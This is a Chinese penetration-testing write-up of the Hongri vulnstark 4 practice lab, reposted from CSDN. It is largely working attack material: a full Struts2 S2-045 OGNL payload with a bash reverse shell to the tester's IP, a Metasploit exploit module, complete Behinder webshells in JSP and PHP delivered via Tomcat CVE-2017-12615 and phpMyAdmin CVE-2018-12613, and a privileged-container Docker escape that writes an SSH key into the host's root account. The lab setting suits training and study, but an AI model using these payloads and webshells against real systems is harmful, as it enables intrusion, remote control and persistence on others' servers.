自学内容网 自学内容网

红日靶场vulnstark 4靶机的测试报告[细节](一)

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

手工利用s2-45漏洞

Msf综合利用

 ②Tomcat框架(CVE-2017-12615)

 ③phpMyAdmin(CVE-2018-12613)

 构造语句写入冰蝎木马

3、Docker服务器逃逸

 ①struts2应用

 ②tomcat应用(docker特权模式逃逸)

 ③phpMyAdmin应用

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.131)

靶  机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。

密码信息(默认密码):

  • Web服务器:ubuntu/ubuntu
  • 域成员主机:douser/Dotest123
  • 域控主机默认密码:administrator/Test2008
  • 域控主机修改后的密码:Admin123456

2、注意事项

  1. 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
  2. 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
  3. Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

开启后即完成了环境搭建

3、使用工具/软件

        Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)

        struts 2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)

        测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003

后面两篇文章地址:

红日靶场vulnstark 4靶机的测试报告[细节](二)-CSDN博客文章浏览阅读382次,点赞11次,收藏3次。基于渗透测试流程渗透vulnstark 4靶场;红日靶场;内网渗透;mimikatz;msfconsole;ms 14-68;ms17-010;永恒之蓝;域内信息搜集;Windows渗透;域渗透;Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm=1001.2014.3001.5501

红日靶场vulnstark 4靶机的测试报告[细节](三)-CSDN博客文章浏览阅读372次,点赞12次,收藏8次。基于渗透测试流程测试vulnstark 4靶场;https://blog.csdn.net/2301_79698171/article/details/144308001?spm=1001.2014.3001.5501 

二、测试目的

通过web打点进入shell后台,docker逃逸到物理机。

三、操作过程

1、信息搜集

开启kali,CS启动!

主机探测

arp-scan -l

探测到靶机IP:192.168.200.145

端口和服务探测

nmap -sN -A -p- -T4 192.168.200.145

开启了22端口(ssh服务)、2001端口(jetty搭建的服务,struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件,phpmyadmin服务)

进行目录扫描

2001端口目录扫描失败

gobuster dir -u http://192.168.200.145:2001 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫描2002端口

gobuster dir -u http://192.168.200.145:2002 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

没扫描到什么有用的信息,都是tomcat的文件

Tomcat版本:8.5.19

扫描2003端口

gobuster dir -u http://192.168.200.145:2003 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫到很多目录和文件

主页phpmyadmin,无需登录即可管理数据库

Mysql版本:5.5.62

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

使用struts 2漏洞检测工具查一下漏洞,存在s2-045漏洞

这个漏洞利用方式有很多:手工注入、msf集成利用或者是集成工具直接利用。

检测工具地址:

https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe

执行命令成功

手工利用s2-45漏洞

尝试手工利用s2-45漏洞一下

漏洞url:http://192.168.200.145:2001/doUpload.action

RCEpoc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

尝试抓包(提交按钮的包)修改Content-Type参数,发包执行命令

执行反弹shell

反弹shell命令:

bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

$IFS:是 Bash 的一个环境变量,表示内部字段分隔符。默认情况下,IFS 用于分隔字符串。

$9:是 Bash 中的一个位置参数,指代第 9 个命令行参数。该位置参数为空,因此它不会对命令产生直接影响。

完整poc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

在kali开启监听

发送poc,即可接收反弹shell

获取反弹shell

Msf综合利用

Msf命令如下:

use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /doUpload
set RHOSTS 192.168.200.145
set RPORT 2001
set LPORT 6666
set FETCH_WRITABLE_DIR /tmp
set FETCH_SRVPORT 8081
run

执行命令完成后直接获取了meterpreter权限

 ②Tomcat框架(CVE-2017-12615)

这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说,这是直接拉的docker环境CVE-2017-12615漏洞复现)

下面就这个漏洞进行利用

打开burp,随机抓取一个tomcat站点的数据包

修改:PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容

完整数据包:

PUT /tomcat.jsp/ HTTP/1.1

Host: 192.168.200.145:2002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type:application/x-www-form-urlencoded

Connection: keep-alive

Referer: http://192.168.200.145:2002/

Cookie: JSESSIONID=1ld91a1s2g4bn11znldfexvfm; phpMyAdmin=2efb6ffa53fc258b51330d35976b057b; pma_lang=zh_CN

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*�ƥ:ޥ�32Mmd5<�M16M
ؤޥ�rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

发包,返回值201表示成功

可以访问jsp木马文件,空白页

冰蝎也成功连接

 ③phpMyAdmin(CVE-2018-12613)

这里利用的是一个任意文件包含漏洞getshell

漏洞url:

http://192.168.200.145:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

可以看到成功地包含了文件

在执行sql语句的页面

select "<?php echo 'pwd';?>"

执行的sql语句会先储存在临时session文件中,session文件以session值来命名

结果如下:

抓包查看session值,phpMyAdmin的参数值就是:2efb6ffa53fc258b51330d35976b057b

临时session文件名只需要加上sess_的前缀,保存在tmp目录下

sess_2efb6ffa53fc258b51330d35976b057b

利用原理:执行插入php木马的查询语句,在任意文件包含漏洞页面包含临时session文件执行php代码。

以刚刚执行的例子中执行的php代码为例,包含临时session文件发现语句被执行,输出了pwd的字段。

http://192.168.200.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b

php中,反引号(`)中的内容会被当做shell命令执行。

比如,执行这样一句查询语句:select "<?php echo `pwd`; ?>"

可以看到包含页面内执行php语句没有像之前一样输出pwd,而是执行pwd命令,回显当前目录:/var/www/html

当然,这个目录就是web目录,是当前页的目录

 构造语句写入冰蝎木马

select '<?php echo `echo "<?php eval(base64_decode(冰蝎的php webshell base64加密)); ?>" > /var/www/html/mysql.php`; ?>';

这个编码用php的base64_encode生成的编码,不然base64代码可能用不了

完整poc:

select '<?php echo `echo "<?php eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?>" > /var/www/html/mysql.php`;?>';

执行完毕,刷新一下包含页面执行

访问http://192.168.200.145:2003/mysql.php

可以看到webshell成功创建,这种页面就是正确的,可以连冰蝎

成功连接冰蝎!!

太不容易了,编码被卡住了好久。

php的webshell:注释内容要删掉、最后一行需要换行符。

这样的编码才连的上冰蝎!

这里把冰蝎的php马源码也放一下,修改过后的:

@error_reporting(0);

session_start();

    $key="e45e329feb5d925b";

       $_SESSION['k']=$key;

       session_write_close();

       $post=file_get_contents("php://input");

       if(!extension_loaded('openssl'))

       {

              $t="base64_"."decode";

              $post=$t($post."");

             

              for($i=0;$i<strlen($post);$i++) {

                         $post[$i] = $post[$i]^$key[$i+1&15];

                        }

       }

       else

       {

              $post=openssl_decrypt($post, "AES128", $key);

       }

    $arr=explode('|',$post);

    $func=$arr[0];

    $params=$arr[1];

       class C{public function __invoke($p) {eval($p."");}}

    @call_user_func(new C(),$params);

3、Docker服务器逃逸

由于Docker 容器是与物理机隔离的,所以我们需要进行Docker逃逸。Docker逃逸是指利用Docker 容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限。

Docker 容器有许多逃逸手段,举例如下:

  • 内核漏洞:由于Docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在Docker 容器内利用内核漏洞可能直接获得物理机权限。
  •  Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker 容器内可以使用Docker API新建一个Docker 容器,并将物理机的根目录挂载到新Docker 容器的某目录下。
  •  Docker 容器以特权模式启动:当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker 容器的某目录下。

在Docker 容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包,下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。cdk可以检测当前Docker 容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker 逃逸。

 ①struts2应用

获取的反弹shell,可以很清楚地看到是root权限,@后面明显是docker的id号

显然这是一个docker容器

查找一下.dockerenv文件

find / -name .dockerenv

.dockerenv文件是docker容器特有的文件,可以确定当前服务器是一个docker容器。

如图,查找到了.dockerenv文件的路径:

靶机下载cdk并赋予执行权限运行

wget 192.168.200.131:8888/cdk
chmod +x cdk
./cdk evaluate --full

 没什么有用信息

 ②tomcat应用(docker特权模式逃逸)

查看系统信息,是Linux系统、root权限

find / -name .dockerenv

也找到了.dockerenv文件

上传cdk文件

赋予执行权限并执行

/tmp/ >chmod +x cdk_linux_amd64
/tmp/ >./cdk_linux_amd64 evaluate –full

可以看到扫出了,开启了特权权限

cdk工具可以直接利用漏洞

挂载根目录利用命令:

./cdk_linux_amd64 run mount-disk

该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下

可以在挂载目录查看物理机的根目录

cd /tmp/cdk_p95Pg
ls

成功挂载了物理机的根目录,可以通过写计划任务或写SSH秘钥的方式获取物理机权限。信息搜集时获取了靶机开启了SSH服务,将ssh秘钥写入挂载的根目录即可登录。命令如下:

kali生成一份公钥私钥

ssh-keygen -t rsa

私钥文件:/root/.ssh/id_rsa

公钥文件:/root/.ssh/id_rsa.pub

查看公钥文件

cat /root/.ssh/id_rsa.pub

将这份公钥复制到docker挂载的物理机公钥存放处,使用私钥即可登录

mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik4+3SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0X+yRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSU+sk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJO+fZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmt+WBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9M+bshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLH+ERZRmE14RSn3PJKKf0= root@hacker" > /tmp/cdk_p95Pg/root/.ssh/authorized_keys

ssh的目录和公钥都需要特定的权限才能运行

ssh目录(权限700)

~/.ssh/authorized_keys文件(权限600)

chmod 700 .ssh
chmod 600 authorized_keys

使用mobaxterm工具的ssh登录

使用私钥id_rsa

成功登录root用户

 ③phpMyAdmin应用

查看基本信息:Linux系统,并且用户名是docker的命名特征,内核也是ubuntu14.04;php版本:7.2.5

猜测这也是docker容器

同样找到了dockerenv文件

find / -name .dockerenv

要进行docker容器逃逸,需要把获得的权限提升为管理员,尝试提权

尝试脏牛漏洞提权失败

四、结论

由于靶场报告内容太多,一篇文章会很冗杂,决定分为三篇发送。
这里已经获取了web靶机的物理机root权限,通过docker逃逸实现的。
下一篇文章会进行内网渗透,获取域内主机和域控服务器的权限。


原文地址:https://blog.csdn.net/2301_79698171/article/details/144305776

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!